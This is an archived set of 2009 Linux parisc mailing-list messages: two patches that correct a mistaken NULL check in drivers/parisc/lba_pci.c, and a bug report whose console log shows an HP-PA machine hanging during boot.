Subject: [PATCH 5/12] drivers/parisc: Correct redundant test
Date: Mon, 27 Jul 2009 18:13:48 +0200 (CEST)
Lines: 48
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0907271813310.2682@ask.diku.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1248711605 26263 80.91.229.12 (27 Jul 2009 16:20:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2009 16:20:05 +0000 (UTC)
To: kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 27 18:19:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MVSvb-00084r-BF
	for glpp-linux-parisc@gmane.org; Mon, 27 Jul 2009 18:19:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753204AbZG0QTR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Jul 2009 12:19:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752038AbZG0QTQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 27 Jul 2009 12:19:16 -0400
Original-Received: from mgw1.diku.dk ([130.225.96.91]:49100 "EHLO mgw1.diku.dk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752495AbZG0QTN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Jul 2009 12:19:13 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by mgw1.diku.dk (Postfix) with ESMTP id 479AD52C59C;
	Mon, 27 Jul 2009 18:19:13 +0200 (CEST)
X-Virus-Scanned: amavisd-new at diku.dk
Original-Received: from mgw1.diku.dk ([127.0.0.1])
	by localhost (mgw1.diku.dk [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xfjKXCyLQOsA; Mon, 27 Jul 2009 18:19:11 +0200 (CEST)
Original-Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140])
	by mgw1.diku.dk (Postfix) with ESMTP id B446052C46B;
	Mon, 27 Jul 2009 18:13:48 +0200 (CEST)
Original-Received: from ask.diku.dk (ask.diku.dk [130.225.96.225])
	by nhugin.diku.dk (Postfix) with ESMTP
	id 21C1F6DFB46; Mon, 27 Jul 2009 18:13:05 +0200 (CEST)
Original-Received: by ask.diku.dk (Postfix, from userid 3767)
	id 9470A154D01; Mon, 27 Jul 2009 18:13:48 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by ask.diku.dk (Postfix) with ESMTP id 92FDD1547DF;
	Mon, 27 Jul 2009 18:13:48 +0200 (CEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1952 gmane.linux.kernel:869934 gmane.linux.kernel.janitors:17022
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1952>

From: Julia Lawall <julia@diku.dk>

pa_pdc_cell has already been tested.  It seems that this test should be on the
recently returned value io_pdc_cell.

A simplified version of the semantic match that finds this problem is as
follows: (http://www.emn.fr/x-info/coccinelle/)

// <smpl>
@r exists@
local idexpression x;
expression E;
@@

if (x == NULL || ...) { ... when forall
   return ...; }
... when != \(x=E\|x--\|x++\|--x\|++x\|x-=E\|x+=E\|x|=E\|x&=E\|&x\)
(
*x == NULL
|
*x != NULL
)
// </smpl>

Signed-off-by: Julia Lawall <julia@diku.dk>

---
 drivers/parisc/lba_pci.c            |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index ede6146..3aeb327 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -992,7 +992,7 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 		return;
 
 	io_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t), GFP_KERNEL);
-	if (!pa_pdc_cell) {
+	if (!io_pdc_cell) {
 		kfree(pa_pdc_cell);
 		return;
 	}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stoyan Gaydarov <sgayda2@uiuc.edu>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 3/4] [parisc] fixed faulty check
Date: Thu, 30 Jul 2009 05:25:19 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <1248949519-20858-1-git-send-email-sgayda2@uiuc.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1248949637 9088 80.91.229.12 (30 Jul 2009 10:27:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Jul 2009 10:27:17 +0000 (UTC)
Cc: Stoyan Gaydarov <sgayda2@uiuc.edu>, deller@gmx.de,
	kyle@mcmartin.ca, grundler@parisc-linux.org,
	akpm@linux-foundation.org, achiang@hp.com, bunk@kernel.org,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752790AbZG3KZh@vger.kernel.org Thu Jul 30 12:27:09 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1752790AbZG3KZh@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWSqq-0007UP-Bv
	for glk-linux-kernel-3@gmane.org; Thu, 30 Jul 2009 12:27:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752790AbZG3KZh (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 30 Jul 2009 06:25:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752505AbZG3KZd
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Thu, 30 Jul 2009 06:25:33 -0400
Original-Received: from dscas1.ad.uiuc.edu ([128.174.68.119]:37922 "EHLO
	dscas1.ad.uiuc.edu" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752742AbZG3KZ2 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 30 Jul 2009 06:25:28 -0400
Original-Received: from localhost.localdomain (24.14.10.32) by smtp-secure.illinois.edu
 (128.174.68.18) with Microsoft SMTP Server (TLS) id 8.1.358.0; Thu, 30 Jul
 2009 05:25:29 -0500
X-Mailer: git-send-email 1.6.3.3
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:871347 gmane.linux.ports.parisc:1954
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1954>

This patche fixes a spelling error that has resulted from copy and pasting. The location of the error was found using a semantic patch but the semantic patch was not trying to find these errors. After looking things over it seemed logical that this change was needed. Please review it and then include the patch if it is in fact the correct change.

Signed-off-by: Stoyan Gaydarov <sgayda2@uiuc.edu>
---
 drivers/parisc/lba_pci.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index ede6146..3aeb327 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -992,7 +992,7 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 		return;
 
 	io_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t), GFP_KERNEL);
-	if (!pa_pdc_cell) {
+	if (!io_pdc_cell) {
 		kfree(pa_pdc_cell);
 		return;
 	}
-- 
1.6.3.3


From - Thu Nov 08 21:04:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Thu, 30 Jul 2009 20:58:57 +0300 (EEST)
Lines: 945
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0907302054100.20870@math.ut.ee>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1248978058 6705 80.91.229.12 (30 Jul 2009 18:20:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Jul 2009 18:20:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 30 20:20:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MWaFE-000379-8I
	for glpp-linux-parisc@gmane.org; Thu, 30 Jul 2009 20:20:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750903AbZG3SUp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Jul 2009 14:20:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751149AbZG3SUp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Jul 2009 14:20:45 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:35436 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750903AbZG3SUm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Jul 2009 14:20:42 -0400
X-Greylist: delayed 1304 seconds by postgrey-1.27 at vger.kernel.org; Thu, 30 Jul 2009 14:20:41 EDT
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 6715D6E4B96;
	Thu, 30 Jul 2009 20:58:57 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 4CE74FD7A1; Thu, 30 Jul 2009 20:58:57 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 33B35FD79B;
	Thu, 30 Jul 2009 20:58:57 +0300 (EEST)
In-Reply-To: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1955
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1955>

> > 0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
> > 0x5800087000FF6292 00006D05 0F092C37 - type 11 = Timestamp 06/15/2009 09:44:55
> 
> I believe FF6292 is a HPMC.  Please collect and post the "ser pim" output
> for the above.  It would also help if the location of the HPMC can be related
> to your compiled kernel using objdump.

Well, it took some time, but I'm back to it. I rebooted a 
Debian-packaged kernel and got SER PIM output as well for the same boot. 
I also checked that there's nothing more in GSP console log.

As I can't boot it up with any kernel currently, I could not objdump the 
specific image, but I know it's 2.6.29-5 version of Debian 
2.6.29-2-parisc64-smp kernel. Will investigate if I get a match - what 
address should I be decoding?

Main Menu: Enter command or menu > bo
NOTICE: System integrity at risk when selftest(s) are disabled.
        Enabling selftests with "ser sel on" will prevent this note.
        Do you wish to continue the boot?  [Y] or N: y
Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.14 root@penalosa Wed Oct  8 15:04:37 UTC 2008
Skipping extended partition 6 - beyond reach of IPL

Partition Start(MB) End(MB) Id Type
1               1      31   f0 Palo
2              32     156   83 ext2
5             157   33408   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 6240197 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current command line:
2/vmlinux root=/dev/sda5 initrd=2/initrd.img HOME=/ console=ttyS0 TERM=vt102
 0: 2/vmlinux
 1: root=/dev/sda5
 2: initrd=2/initrd.img
 3: HOME=/
 4: console=ttyS0
 5: TERM=vt102

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 0 l
Directory listing of /.

  lost+found
  vmlinux
  initrd.img-2.6.29-rc1.bak
  initrd.img
  vmlinux.old
  System.map-2.6.29-rc1
  vmlinux-2.6.29-rc1
  config-2.6.29-rc8
  System.map-2.6.29-rc8
  vmlinux-2.6.29-rc8
  initrd.img-2.6.29-rc8
  config-2.6.29-rc1
  initrd.img-2.6.29-rc1
  System.map-2.6.26-1-parisc64-smp
  System.map-2.6.26-1-parisc64
  config-2.6.26-1-parisc64
  vmlinux-2.6.26-1-parisc64
  vmlinux-2.6.26-1-parisc64-smp
  config-2.6.26-1-parisc64-smp
  initrd.img-2.6.26-1-parisc64-smp
  initrd.img-2.6.26-1-parisc64
  initrd.img.old
  initrd.img-2.6.26-1-parisc64-smp.bak
  System.map-2.6.29-2-parisc64-smp
  vmlinux-2.6.29-2-parisc64-smp
  config-2.6.29-2-parisc64-smp
  initrd.img-2.6.29-2-parisc64-smp

Current command line:
2/vmlinux root=/dev/sda5 initrd=2/initrd.img HOME=/ console=ttyS0 TERM=vt102
 0: 2/vmlinux
 1: root=/dev/sda5
 2: initrd=2/initrd.img
 3: HOME=/
 4: console=ttyS0
 5: TERM=vt102

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 0
2/vmlinux-2.6.29-2-parisc64-smp
Current command line:
2/vmlinux-2.6.29-2-parisc64-smp root=/dev/sda5 initrd=2/initrd.img HOME=/ console=ttyS0 TERM=vt102
 0: 2/vmlinux-2.6.29-2-parisc64-smp
 1: root=/dev/sda5
 2: initrd=2/initrd.img
 3: HOME=/
 4: console=ttyS0
 5: TERM=vt102

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 0 2
initrd=2/initrd.img-2.6.29-2-parisc64-smp
Current command line:
2/vmlinux-2.6.29-2-parisc64-smp root=/dev/sda5 initrd=2/initrd.img-2.6.29-2-parisc64-smp HOME=/ console=ttyS0 TERM=vt102
 0: 2/vmlinux-2.6.29-2-parisc64-smp
 1: root=/dev/sda5
 2: initrd=2/initrd.img-2.6.29-2-parisc64-smp
 3: HOME=/
 4: console=ttyS0
 5: TERM=vt102

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 0 b

Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.29-2-parisc64-smp'
Selected kernel: /vmlinux-2.6.29-2-parisc64-smp from partition 2
Selected ramdisk: /initrd.img-2.6.29-2-parisc64-smp from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4784128 mediaptr 0x1000
Segment 1 load 00628000 size 403984 mediaptr 0x491000
Segment 2 load 0068c000 size 317824 mediaptr 0x4f4000
Loading ramdisk 7887983 bytes @ 3f868000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 2.6.29-2-parisc64-smp (Debian 2.6.29-5) (waldi@debian.org) (gcc version 4.3.3 (GCC) ) #1 SMP Mon May 18 14:55:30 UTC 2009
[    0.000000] unwind_init: start = 0x404bf0a4, end = 0x404eb424, entries = 11320
[    0.000000] WARNING: Out of order unwind entry! 00000000404c0fb4 and 00000000404c0fc4
[    0.000000] WARNING: Out of order unwind entry! 00000000404c0fc4 and 00000000404c0fd4
[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...
[    0.000000] console [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00005c90 00000491 00000000 00000002 2353fbcb 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000203
[    0.000000] CPUID vers 17 rev 8 (0x00000228)
[    0.000000] capabilities 0x1
[    0.000000] model 9000/800/L1000-44
[    0.000000] Total Memory: 3072 MB
[    0.000000] initrd: 7f868000-7ffedc6f
[    0.000000] initrd: reserving 3f868000-3ffedc6f (mem_max c0000000)
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 775680
[    0.000000] Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.29-2-parisc64-smp
[    0.000000] PID hash table entries: 4096 (order: 12, 32768 bytes)
[17179569.184000] Console: colour dummy device 160x64
[17179569.200000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
[17179569.240000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
[17179569.760000] Memory: 3075708k/3145728k available (3164k kernel code, 69364k reserved, 1459k data, 312k init)
[17179569.772000] virtual kernel memory layout:
[17179569.772000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[17179569.772000]     memory  : 0x0000000040000000 - 0x0000000100000000   (3072 MB)
[17179569.772000]       .init : 0x000000004068c000 - 0x00000000406da000   ( 312 kB)
[17179569.772000]       .data : 0x00000000404173d0 - 0x0000000040584000   (1459 kB)
[17179569.772000]       .text : 0x0000000040100000 - 0x00000000404173d0   (3164 kB)
[17179569.840000] Calibrating delay loop... 876.54 BogoMIPS (lpj=1753088)
[17179569.936000] Security Framework initialized
[17179569.944000] SELinux:  Disabled at boot.
[17179569.956000] Mount-cache hash table entries: 256
[17179570.060000] Initializing cgroup subsys ns
[17179570.068000] Initializing cgroup subsys cpuacct
[17179570.072000] Initializing cgroup subsys devices
[17179570.076000] Initializing cgroup subsys freezer
[17179570.080000] Initializing cgroup subsys net_cls
[17179570.096000] Brought up 1 CPUs
[17179570.348000] net_namespace: 1880 bytes
[17179570.352000] regulator: core version 0.5
[17179570.480000] NET: Registered protocol family 16
[17179570.492000] EISA bus registered
[17179570.500000] Searching for devices...
[17179571.076000] Found devices:
[17179571.080000] 1. Rhapsody DC- 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5c9, 0x00004 }
[17179571.092000] 2. Rhapsody DC- 440 at 0xfffffffffffa6000 [166] { 0, 0x0, 0x5c9, 0x00004 }
[17179571.100000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x095, 0x00009 }
[17179571.108000] 4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
[17179571.112000] 5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
[17179571.188000] 6. Elroy PCI Bridge at 0xfffffffffed32000 [0/1] { 13, 0x0, 0x782, 0x0000a }
[17179571.196000] 7. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
[17179571.204000] 8. Elroy PCI Bridge at 0xfffffffffed36000 [0/3] { 13, 0x0, 0x782, 0x0000a }
[17179571.212000] 9. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
[17179571.220000] 10. Elroy PCI Bridge at 0xfffffffffed3a000 [0/5] {
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
[17179572.312000] powersw: Soft power switch support not available.
[17179572.328000] bio: create slab <bio-0> at 0
[17179572.480000] NET: Registered protocol family 2
[17179572.540000] IP route cache hash table entries: 131072 (order: 8, 1048576 bytes)
[17179572.552000] TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
[17179572.624000] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
[17179572.748000] TCP: Hash tables configured (established 262144 bind 65536)
[17179572.756000] TCP reno registered
[17179572.768000] NET: Registered protocol family 1
[17179572.880000] checking if image is initramfs... it is
[17179576.376000] Freeing initrd memory: 7703k freed
[17179576.384000] Chassis warnings not supported.
[17179576.392000] Performance monitoring counters enabled for Rhapsody DC- 440
[17179576.404000] audit: initializing netlink socket (disabled)
[17179576.416000] type=2000 audit(1248974998.722:1): initialized
[17179576.428000] VFS: Disk quotas dquot_6.5.2
[17179576.436000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[17179576.460000] msgmni has been set to 6023
[17179576.468000] alg: No test for stdrng (krng)
[17179576.476000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[17179576.488000] io scheduler noop registered
[17179576.492000] io scheduler anticipatory registered
[17179576.496000] io scheduler deadline registered
[17179576.500000] io scheduler cfq registered (default)
[17179576.604000] PDC Stable Storage facility v0.30
[17179577.424000] STI GSC/PCI core graphics driver Version 0.9a
[17179577.456000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[17179577.464000] serial 0000:00:04.0: enabling device (0146 -> 0147)
[17179577.476000] 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 70) is a 16550A
[17179577.484000] console handover: boot [ttyB0] -> real [ttyS0]
[17179577.500000] 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 70) is a 16550A
[17179577.524000] 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 70) is a 16550A
[17179577.536000] serial 0000:00:05.0: enabling device (0000 -> 0003)
[17179577.548000] serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
[17179577.564000] 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8005000 (irq = 71) is a 16550A
[17179577.576000] Couldn't register serial port 0000:00:05.0: -28
[17179577.680000] brd: module loaded
[17179577.804000] mice: PS/2 mouse device common for all mice
[17179577.816000] rtc-parisc rtc-parisc: rtc core: registered rtc-parisc as rtc0
[17179577.828000] TCP cubic registered
[17179577.944000] NET: Registered protocol family 17
[17179577.956000] registered taskstats version 1
[17179578.088000] rtc-parisc rtc-parisc: setting system clock to 2009-07-30 17:30:00 UTC (1248975000)
[17179578.100000] Freeing unused kernel memory: <0>------------[ cut here ]------------
[17179578.236000] Badness at /build/buildd/linux-2.6-2.6.29/debian/build/source_hppa_none/kernel/smp.c:329
[17179578.372000] 
[17179578.372000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[17179578.376000] PSW: 00001000000001100000000000001110 Not tainted
[17179578.512000] r00-03  000000000806000e 00000000406829c0 0000000040181194 0000000040590020
[17179578.652000] r04-07  00000000406791c0 000000004065e6a0 0000000000000000 00000000404fdfa0
[17179578.660000] r08-11  000000004065e6a0 0000000000000000 00000000406841c0 0000000000000001
[17179578.668000] r12-15  000000004067a9c0 0000000000000000 00000000406791c0 00000000000000ff
[17179578.676000] r16-19  00000000406809c0 00000000406879c0 00000000ff83a268 000000004[17179579.072000] r20-23  0000000000000000 00000000406da000 fffffffffffffffe 0000000000000001
[17179579.084000] r24-27  0000000000000000 000000004065e6a0 00000000404fdfa0 00000000406791c0
[17179579.092000] r28-31  000000000800000e 00000000ff8404a0 00000000ff840590 0000000000000000
[17179579.100000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[17179579.108000] sr04-07  0000000000000000 0000000000000000 000000000000000
[17179579.640000] 
[17179579.644000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040180e34 0000000040180e38
[17179579.652000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000002fe10040510
[17179579.660000]  CPU:        0   CR30: 00000000ff840000 CR31: ffffffffffffffff
[17179579.668000]  ORIG_R28: 000000000800000e
[17179579.672000]  IAOQ[0]: smp_call_function_many+0x44/0x368
[17179579.920000]  IAOQ[1]: smp_call_function_many+0x48/0x368
[17179579.928000]  RP(r2): smp_call_function+0x3c/0x50
[17179579.932000] Backtrace:
[17179579.932000]  [<0000000040181194>] smp_call_function+0x3c/0x50
[17179579.940000000401a1504>] call_rcu+0x44/0x58
[17179580.344000] 
[17179580.352000] ------------[ cut here ]------------
[17179580.360000] Badness at /build/buildd/linux-2.6-2.6.29/debian/build/source_hppa_none/kernel/smp.c:226
[17179580.368000] 
[17179580.368000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[17179580.376000] PSW: 00001000000001101111111000001110 Tainted: G        W 
[17179580.380000] r00-03  000000ff0806fe0e 000000004067e1c0 0000000040180f1c 0000000000000000
[17179580.388000] r04-07  00000000406791c0 00000000065e6a0 0000000000000000
[17179580.908000] r08-11  000000004065e6a0 0000000000000000 00000000406841c0 0000000000000001
[17179580.920000] r12-15  000000004067a9c0 0000000000000000 00000000406791c0 00000000000000ff
[17179580.928000] r16-19  00000000406809c0 00000000406879c0 00000000ff83a268 0000000000000008
[17179580.936000] r20-23  00000000404fdfa0 0000000000000002 fffffffffffffffe 0000000000000001
[17179580.944000] r24-27  0000000000000000 000000004065e6a0 0000000000000001 0000000041.340000] r28-31  000000000800000e 00000000ff840560 00000000ff840660 0000000000000008
[17179581.476000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[17179581.492000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[17179581.500000] 
[17179581.500000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040180cd0 0000000040180cd4
[17179581.508000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000002fe100405e0
[17179581.512000]  CPU:        0   CR30: 00000000ff840000 CR31: fffffffff81.908000]  ORIG_R28: 0000000000000001
[17179582.036000]  IA
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
Begin: Loading essential drivers ... WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
[17179583.088000] SCSI subsystem initialized
WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
done.
Begin: Running /scripts/init-premount ... [17179583.856000] Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
[17179584.008000] tulip 0000:00:00.0: enabling device (0140 -> 0143)
[17179584.028000] tulip0: no phy info, aborting mtable build
[17179584.140000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
[17179584.164000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff8006000, 00:10:83:fe:9c:b0, IRQ 66.
[17179584.428000] tulip 0000:18:00.0: enabling device (0000 -> 0003)
[17179584.436000] tulip 0000:18:00.0: enabling SERR and PARITY (0003 -> 0143)

************* SYSTEM ALERT **************
SYSTEM NAME: scaspdb24
DATE: 07/30/2009 TIME: 17:30:06
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
0x5800087000FF6292 00006D06 1E111E06 - type 11 = Timestamp 07/30/2009 17:30:06
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:a
*****************************************


Leaving Console Mode - you may lose write access.
When Console Mode returns, type ^Ecf to get console write access.

Service Processor login: 
Service Processor password: 




             Hewlett-Packard Guardian Service Processor
